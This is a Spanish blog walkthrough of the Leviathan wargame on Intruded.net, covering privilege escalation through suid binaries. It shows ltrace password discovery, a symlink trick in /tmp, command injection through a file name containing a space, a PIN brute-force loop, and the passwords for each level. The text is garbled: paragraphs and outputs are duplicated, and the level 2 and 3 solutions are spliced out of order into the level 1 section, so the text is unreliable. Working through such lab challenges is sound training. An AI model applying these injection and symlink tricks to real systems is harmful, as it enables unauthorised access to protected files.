Hace unos días leíamos en el Twitter de RoMaNSoFt sobre la existencia de una serie de retos de seguridad en la web Intruded.Net que consisten en que se nos da la shell del primer nivel y tenemos que ir escalando al usuario de nivel superior hasta que completamos todas las fases del reto.
Siempre me han encantado los Wargames/Retos Hacking, especialmente aquellos en los que oigo a alguien decir que son muy difíciles, o por contra, que son muy fáciles y se pueden sacar en muy poco tiempo, porque me pican a ver si yo soy capaz de sacarlo tan rápido o, sencillamente si soy capaz de sacarlo. En este caso, este Twitt concreto hablaba de Leviathan, el Wargame más sencillo de los que hay en la web, del cual sus creadores dicen lo siguiente:
"Este wargame no requiere ningún conocimiento sobre programación - solo un poco de sentido común y algún conocimiento sobre los comandos básicos de *nix."
No está mal, es un Wargame que puede resultar muy interesante para aquellas personas que les gusta la seguridad, pero que por contra no tienen conocimientos de programación y/o reversing.
En este caso, este Wargame se basa en la existencia de algunos binarios con suid a los que les debes encontrar algún tipo de fallo que te permita acceder a un fichero .passwd que existe en el home del usuario propietario del binario, y que contiene la contraseña para el siguiente nivel. Por ejemplo, en /home/level1/.passwd está contenida la contraseña del nivel 1, y el resto de contraseñas están en ficheros idénticos en sus respectivos home's.
El Wargame, como dice RoMaNSoFt, es sencillo pero divertido, así que lo recomiendamos a todos aquellos a los que les gusten este tipo de retos, tengan el nivel que tengan. Para aquellos a los que les cueste algún nivel, o sencillamente para los que no tengan tiempo de ponerse a resolverlos pero que les gustaría saber que tipo de fallos tenían los binarios, escribimos a continuación nuestras soluciones a los retos, así que si tienes la intención de intentarlo por ti mismo... PARA DE LEER AQUÍ!!
Inténtalo al menos, no? :P
Para...
Para!!!
QUE PARES!!!!
Ok, tú lo has querido, aquí están nuestras soluciones, en las que podeis ver en negrita los comandos o entradas que debe introducir el usuario:
Solución al nivel 1
La contraseña para entrar con el usuario level1 la tenemos en la web de incio del reto, así que usando esos datos conectamos a la máquina:
$ ssh -p 10101 level1@leviathan.intruded.net
*******************************************
* Welcome to Intruded.net Wargame Server
*
* * You are playing "Leviathan"
* * Most levels can be found in /wargame
* * Login: level1:leviathan
* * Support: irc.intruded.net #wargames
*
*
* ! Server is restarted every 12 hours
* ! Server is cleaned every reboot
* ! /tmp direcotry is writable
*
*******************************************
* Welcome to Intruded.net Wargame Server
*
* * You are playing "Leviathan"
* * Most levels can be found in /wargame
* * Login: level1:leviathan
* * Support: irc.intruded.net #wargames
*
*
* ! Server is restarted every 12 hours
* ! Server is cleaned every reboot
* ! /tmp direcotry is writable
*
*******************************************
Nada más empezar nos dice que la mayoría de niveles puede encontrarse en /wargame, así que vamos a pegarle un vistazo al directorio a ver que nos encontramos:
$ ls -la /wargame/
total 48
drwxr-xr-x 2 root root 4096 2008-03-26 02:41 .
drwxr-xr-x 22 root root 4096 2008-03-26 02:54 ..
-r-sr-s--- 1 level3 level2 7738 2008-03-26 02:31 check
-r-sr-s--- 1 level5 level4 8090 2008-03-26 02:33 level4
-r-sr-s--- 1 level7 level6 7696 2008-03-26 02:34 printfile
-r-sr-s--- 1 level4 level3 8051 2008-03-26 02:51 prog
-r-sr-s--- 1 level8 level7 7661 2008-03-26 02:35 sphinx
Como comentábamos antes, parece que tenemos unos cuantos binarios con el bit suid activo que va a permitir ejecutar algo al usuario levelX con los privilegios del usuario levelX+1. Sin embargo, hay dos casos para los que no tenemos binario en este directorio, en el level1 (en el que nos encontramos) y en el level5.
Bueno, si no tenemos nada en este directorio, vamos a ver que es lo que hay en el home del usuario level1:
Bueno, si no tenemos nada en este directorio, vamos a ver que es lo que hay en el home del usuario level1:
$ ls -la
total 28
drwx------ 3 level1 level1 4096 2008-03-26 02:12 .
drwxr-xr-x 10 root root 4096 2008-03-26 01:55 ..
drwxr-xr-x 2 root level1 4096 2008-03-26 02:22 .backup
-rw-r--r-- 1 root root 0 2008-03-26 02:08 .bash_history
-rw-r--r-- 1 root root 220 2008-03-25 22:24 .bash_logout
-rw-r--r-- 1 root root 414 2008-03-25 22:24 .bash_profile
-rw-r--r-- 1 root root 2227 2008-03-25 22:24 .bashrc
-rw-r--r-- 1 root root 10 2008-03-26 01:53 .passwd
Así a primer vistazo, ese directorio .backup parece intesante. Si miramos dentro nos encontramos con un fichero bookmarks.html donde tenemos el backup de la lista de favoritos de un navegador. Parece que hay muchos enlaces, quizá demasiados para revisarlos uno por uno:
$ cat bookmarks.html | wc -l
1399
Contraseña Nivel2: vFPMNdI0
$ cd /wargame
$ ./check
password: PATATA
Wrong password, Good Bye ...
$ ltrace ./check
__libc_start_main(0x8048464, 1, 0xbffffad4, 0x8048580, 0x8048530
printf("password: ") = 10
getchar(0x8048638, 0xb7fe0ff4, 0xbffffa28, 0x80483f0, 0xb7fe0ff4password: PATATA
) = 80
getchar(0x8048638, 0xb7fe0ff4, 0xbffffa28, 0x80483f0, 0xb7fe0ff4) = 65
getchar(0x8048638, 0xb7fe0ff4, 0xbffffa28, 0x80483f0, 0xb7fe0ff4) = 84
strcmp("PAT", "sex") = -1
puts("Wrong password, Good Bye ..."Wrong password, Good Bye ...
) = 29
+++ exited (status 29) +++
$ ./check
password: sex
sh-3.1$ id
uid=1001(level2) gid=1001(level2) euid=1002(level3) groups=1001(level2)
sh-3.1$ cat /home/level3/.passwd
oc7vaCOg
Contraseña Nivel3: oc7vaCOg
Solución al nivel 3
$ ./prog
Cannot find /tmp/file.log
$ echo PATATA > /tmp/file.log
$ ./prog
PATATA
$ ln -s /home/level4/.passwd /tmp/file.log
$ ./prog
R0gBtSP5
¡Ya lo tenemos!
Contraseña Nivel4: R0gBtSP5
1399
Ufff, demasiados como para revisar a mano, pero quizá si buscamos algunas palabras claves como "level", "password" o similar obtengamos algún resultado interesante:
$ cat bookmarks.html | grep -i pass
[...]http://www.goshen.edu/art/ed/teachem.htm[...]password to level2
[...]http://www.goshen.edu/art/ed/teachem.htm[...]password to level2
¿Una web con título "password to level2"? No puede ser tan fácil, ¿o sí?
Solución al nivel 2
Si nos acordamos de los binarios que vimos en /wargame, recordaremos que existía un binario "check" que podría permitirnos el paso al nivel 3, así que lo primero que hacemos es pegarle un vistazo al binario a ver que hace:
$ cd /wargame
$ ./check
password: PATATA
Wrong password, Good Bye ...
Parece que vamos a tener que acertar con una palabra secreta que nos dará algún tipo de acceso a la contraseña del nivel superior. Evidentemente podríamos conger el binario y desensamblarlo, a ver que hace, pero vamos a optar por algo más sencillo e inmediato, que en muchas ocasiones nos va a dar buenos resultados. Para ello utilizaremos las herramientas *trace existentes en los sistemas Linux, que nos permiten hacer una traza de la ejecución de un binario, bien sea a nivel de llamadas del sistema, procesos, llamadas a librerías, etc, dependiendo de la herramienta concreta que escojamos. En este caso, el que mejor resultado nos puede dar es ltrace, ya que presumiblemente una comparación de cadenas será realizada con funciones típicas como strcmp, para las cuales se realizará una llamada a la librería correspondiente:
$ ltrace ./check
__libc_start_main(0x8048464, 1, 0xbffffad4, 0x8048580, 0x8048530
printf("password: ") = 10
getchar(0x8048638, 0xb7fe0ff4, 0xbffffa28, 0x80483f0, 0xb7fe0ff4password: PATATA
) = 80
getchar(0x8048638, 0xb7fe0ff4, 0xbffffa28, 0x80483f0, 0xb7fe0ff4) = 65
getchar(0x8048638, 0xb7fe0ff4, 0xbffffa28, 0x80483f0, 0xb7fe0ff4) = 84
strcmp("PAT", "sex") = -1
puts("Wrong password, Good Bye ..."Wrong password, Good Bye ...
) = 29
+++ exited (status 29) +++
¡Bingo! Si os fijais en la traza, vemos una llamada a strcmp("PAT", "sex"), que nos muetra que los tres primeros caracteres de la cadena que hemos introducido están siendo comparados con la palabra "sex", y da resultado negativo (-1) ¿Qué pasa si introducimos la cadena "sex" como contraseña? Es fácil de imaginar, vamos a obtener una shell con privilegios del usuario level3 con la que podremos acceder al fichero .passwd en el que contiene la contraseña para el siguiente nivel:
$ ./check
password: sex
sh-3.1$ id
uid=1001(level2) gid=1001(level2) euid=1002(level3) groups=1001(level2)
sh-3.1$ cat /home/level3/.passwd
oc7vaCOg
Contraseña Nivel3: oc7vaCOg
Solución al nivel 3
Si volvemos a los binarios que vimos en /wargame, existe un binario "prog" que tiene idénticas características al que utilizamos para conseguir el pase a este nivel. Vamos a pegarle un vistazo a ver que hace:
$ ./prog
Cannot find /tmp/file.log
$ echo PATATA > /tmp/file.log
$ ./prog
PATATA
Vale, parece que el binario lee el contenido del fichero /tmp/file.log empleando los privilegios del usuario del siguiente nivel, así que si conseguieramos que lea de /home/level4/.passwd en lugar de /tmp/file.log tendremos nuestra contraseña, así que... ¿Qué tal si creamos un enlace simbólico en /tmp/file.log que apunte a /home/level4/.passwd?
$ ln -s /home/level4/.passwd /tmp/file.log
$ ./prog
R0gBtSP5
¡Ya lo tenemos!
Contraseña Nivel4: R0gBtSP5
Solución al nivel 4
El nivel 4 es muy parecido al nivel 2, tenemos un binario "level4" que nos pide una contraseña que en principio nos proporcionará algún tipo de acceso a los privilegios de level5. Si repetimos la traza que hicimos con el nivel 2, podemos buscar de la misma manera las llamadas a strcmp:
$ ./level4
Enter the password> PATATA
bzzzzzzzzap. WRONG
$ ltrace ./level4
__libc_start_main(0x8048523, 1, 0xbffffac4, 0x8048650, 0x8048600
strcmp("h0no33", "kakaka") = -1
printf("Enter the password> ") = 20
fgets(Enter the password> PATATA
"PATATA\n", 256, 0xb7fe1300) = 0xbffff8dd
strcmp("PATATA\n", "snlprintf\n") = -1
puts("bzzzzzzzzap. WRONG"bzzzzzzzzap. WRONG
) = 19
+++ exited (status 0) +++
Como podemos ver, en este caso la cadena con la que se compara es "snlprintf", así que solo tenemos que llamar nuevamente al binario con esa contraseña para obtener el acceso, y de ahí obtener la contraseña al siguiente nivel:
$ ./level4
Enter the password> snlprintf
[You've got shell]!
$ id
uid=1003(level4) gid=1003(level4) euid=1004(level5) groups=1003(level4)
$ cat /home/level5/.passwd
Dx08I4vD
¡Uno menos! ¡A por el siguiente!
Contraseña Nivel5: Dx08I4vD
Solución al Nivel 5
Tras no encontrar ningún binario que nos sirve para pasar al nivel 6 en el directorio /wargame, pegamos un vistazo al home del usuario level5, y nos encontramos un directorio ".Trash" que contiene un binario "bin" con las mismas características que los binarios existentes en /wargame:
$ ls -la
total 28
drwx------ 3 level5 level5 4096 2008-03-26 02:41 .
drwxr-xr-x 10 root root 4096 2008-03-26 01:55 ..
-rw-r--r-- 1 root root 0 2008-03-26 02:09 .bash_history
-rw-r--r-- 1 root root 220 2008-03-26 01:54 .bash_logout
-rw-r--r-- 1 root root 414 2008-03-26 01:54 .bash_profile
-rw-r--r-- 1 root root 2227 2008-03-26 01:54 .bashrc
-rw-r--r-- 1 root root 9 2008-03-26 01:55 .passwd
drwxr-xr-x 2 root level5 4096 2008-03-26 02:41 .Trash
$ cd .Trash/
$ ls -la
total 16
drwxr-xr-x 2 root level5 4096 2008-03-26 02:41 .
drwx------ 3 level5 level5 4096 2008-03-26 02:41 ..
-r-sr-s--- 1 level6 level5 7519 2008-03-26 02:34 bin
Como en el resto de ocasiones, vamos a ejecutar el binario a ver que es lo que hace:
$ ./bin
00110110 01101100 01111001 01110110 01001100 01011000 01000011 01000001 00001010
No nos pide ningún tipo de entrada, así que probablemente está sacando esto que nos enseña de algún fichero cuya ruta tiene en el interior del código, al igual que pasaba con el nivel 3. Vamos a hacerle un pequeño ltrace al binario a ver que fichero está abriendo:
$ ltrace ./bin
__libc_start_main(0x80483e4, 1, 0xbffffac4, 0x8048530, 0x80484e0
fopen("/home/level6/.passwd", "r")
¡Vaya! Parece que no nos va a hacer falta hacer ningún tipo de trampeo, ya que está sacando esta información que nos muestra precisamente del fichero que guarda la contraseña del siguiente nivel. El único problema es que nos la está mostrando en formato binario, pero eso buscando en Google algún conversor se arregla fácilmente:
Contraseña Nivel6: 6lyvLXCA
Solución al Nivel 6
Para pasar al nivel 7 esta vez tenemos que "destripar" un binario llamado printfile, cuyo nombre ya nos hace pensar que pasar este nivel va a ser parecido a pasar el nivel 3. Veamos lo que hace este binario:
$ ./printfile
*** File Printer ***
Usage: ./printfile filename
Mmmmm, ¿Nos deja pasarle el nombre del fichero? No puede ser tan fácil:
$ ./printfile /home/level7/.passwd
You cant have that file...
Era demasiado bonito para ser verdad, pero todavía no está todo perdido, vamos a crear un fichero accesible y trazar a ver como funciona:
$ echo PATATA > /tmp/myfile
$ ./printfile /tmp/myfile
PATATA
$ ltrace ./printfile /tmp/myfile
__libc_start_main(0x8048424, 2, 0xbffffab4, 0x8048570, 0x8048520
access("/tmp/myfile", 0) = 0
snprintf("/bin/cat /tmp/myfile", 511, "/bin/cat %s", "/tmp/myfile") = 20
system("/bin/cat /tmp/myfile"PATATA
--- SIGCHLD (Child exited) ---
<... system resumed> ) = 0
+++ exited (status 0) +++
$ ./printfile /tmp/myfile
PATATA
$ ltrace ./printfile /tmp/myfile
__libc_start_main(0x8048424, 2, 0xbffffab4, 0x8048570, 0x8048520
access("/tmp/myfile", 0) = 0
snprintf("/bin/cat /tmp/myfile", 511, "/bin/cat %s", "/tmp/myfile") = 20
system("/bin/cat /tmp/myfile"PATATA
--- SIGCHLD (Child exited) ---
<... system resumed> ) = 0
+++ exited (status 0) +++
Parece ser que el binario realiza en primer lugar una llamada a la función "access" para comprobar los permisos del fichero que queremos abrir, y posteriormente contruye una cadena que realiza un "cat nuestra_entrada", claramente vulnerable a injección de comandos. El problema que tenemos es que sea cual sea la entrada que le pongamos (con la inyección de comandos incluida), debe existir un fichero con ese mismo nombre, para que dicho control no sea efectivo.
Después de algunas pruebas, y de comprobar que el caracter / nos daba algunos problemas, vimos que la solución era crear un fichero cuyo nombre contuviera un espacio seguido del nombre del fichero .passwd del siguiente nivel, así podriamos hacer bypass de la función access, puesto que dicho fichero existe, pero al formar la cadena con la que se llama a system nos quedaría algo así como "cat file .passwd", con lo que el primero nos devolverá un error (no existe) pero el contenido del segundo nos será mostrado. Veamoslo:
Después de algunas pruebas, y de comprobar que el caracter / nos daba algunos problemas, vimos que la solución era crear un fichero cuyo nombre contuviera un espacio seguido del nombre del fichero .passwd del siguiente nivel, así podriamos hacer bypass de la función access, puesto que dicho fichero existe, pero al formar la cadena con la que se llama a system nos quedaría algo así como "cat file .passwd", con lo que el primero nos devolverá un error (no existe) pero el contenido del segundo nos será mostrado. Veamoslo:
$ cd /tmp
$ ln -s /home/level7/.passwd symlink
$ echo PATATA > "myfile symlink"
$ /wargame/printfile "myfile symlink"
/bin/cat: myfile: No such file or directory
X98ZdPfp
Contraseña Nivel7: X98ZdPfp
Solución al Nivel 7
Llegamos al séptimo y último nivel, en el que tenemos un binario "sphinx" del que, antes de nada, tendremos que averiguar que hace exactamente. Repitiendo los pasos que hemos realizado para resolver en los anteriores niveles, trazamos su ejecución a ver que nos encontramos:
$ ./sphinx
usage: ./sphinx <4>
$ ./sphinx 1234
Wrong
$ ltrace ./sphinx 1234
__libc_start_main(0x8048464, 2, 0xbffffac4, 0x8048550, 0x8048500
atoi(0xbffffbd3, 0x8049714, 0xbffffa28, 0x8048321, 0xbffffa50) = 1234
puts("Wrong"Wrong
) = 6
+++ exited (status 6) +++
Como podemos ver, no parece que el binario realice muchas llamadas, pero entre ellas sí que nos llama la atención una llamada a la función "atoi" ("ascii to integer"), con la que se convierte la cadena de texto que hemos introducido ("1234") a su entero correspondiente (1234). Probablemente la comparación con el PIN que nos va a permitir pasar este último nivel no se realiza como comparación de dos cadenas, sino como una simple comparación de dos enteros dentro de una sentencia "if", lo cual es un problema a la hora de realizar la traza, puesto que no se realiza ninguna llamada externa y por tanto no podemos averiguar con este método cual es el PIN secreto.
La manera más inmediata de hacerlo sería desensamblar el binario y buscar exactamente que comparaciones hace tras llamar a "atoi", pero siento el PIN un número entero de 4 digítios tal y como se nos indica en el binario, casi que no merece la pena hacer ningún tipo de desensamblado, ya que podemos recorrer todas las posibles soluciones y comprobar sus resultados mediante un ataque de fuerza bruta en un tiempo muy acotado. En este caso, yo lo he hecho con este pequeño shellscript, aunque seguro que hay formas más eficientes de hacerlo:
La manera más inmediata de hacerlo sería desensamblar el binario y buscar exactamente que comparaciones hace tras llamar a "atoi", pero siento el PIN un número entero de 4 digítios tal y como se nos indica en el binario, casi que no merece la pena hacer ningún tipo de desensamblado, ya que podemos recorrer todas las posibles soluciones y comprobar sus resultados mediante un ataque de fuerza bruta en un tiempo muy acotado. En este caso, yo lo he hecho con este pequeño shellscript, aunque seguro que hay formas más eficientes de hacerlo:
$ time for a in 0 1 2 3 4 5 6 7 8 9
do
for b in 0 1 2 3 4 5 6 7 8 9
do
for c in 0 1 2 3 4 5 6 7 8 9
do
for d in 0 1 2 3 4 5 6 7 8 9
do
./sphinx $a$b$c$d | grep -i wrong &>/dev/null
if [ $? -ne 0 ]
then
echo $a$b$c$d
fi
done
done
done
done
sh-3.1$ exit
exit
7123
real 1m12.020s
user 0m3.768s
sys 1m4.100s
¡BINGO! Ya lo tenemos. La ejecución se ha quedado parada en la clave "7123", momento en el cual nos ha devuelto una shell, que hemos cerrado inmediatamente para ver cuanto tiempo nos ha costado realizar un ataque de fuerza bruta contra todos los posibles PINs. En este caso, como podemos ver, poco más de 1 minuto. Una vez que tenemos el PIN del binario ya solo tenemos que usarlo para conseguir la contraseña del último nivel:
$ ./sphinx 7123
sh-3.1$
sh-3.1$ id
uid=1006(level7) gid=1006(level7) euid=1007(level8) groups=1006(level7)
sh-3.1$
sh-3.1$ cat /home/level8/.passwd
FsnC0xl7
Contraseña Nivel8: FsnC0xl7
Una vez que llegamos al nivel 8 ya no existen más binarios, es el último nivel. Lo único que tenemos es un fichero de texto que nos da la enhorabuena por haber superado todos los niveles del reto:
¿Qué me decís?
¿Lo habeis probado?
¿Qué os ha parecido?
¿Alguna otra manera de resolver alguno de los retos?
A mi personalmente me ha parecido un reto divertido, suficientemente divertido como para pegarle un ojo al resto de retos que hay en la misma web ;)
¿Lo habeis probado?
¿Qué os ha parecido?
¿Alguna otra manera de resolver alguno de los retos?
A mi personalmente me ha parecido un reto divertido, suficientemente divertido como para pegarle un ojo al resto de retos que hay en la misma web ;)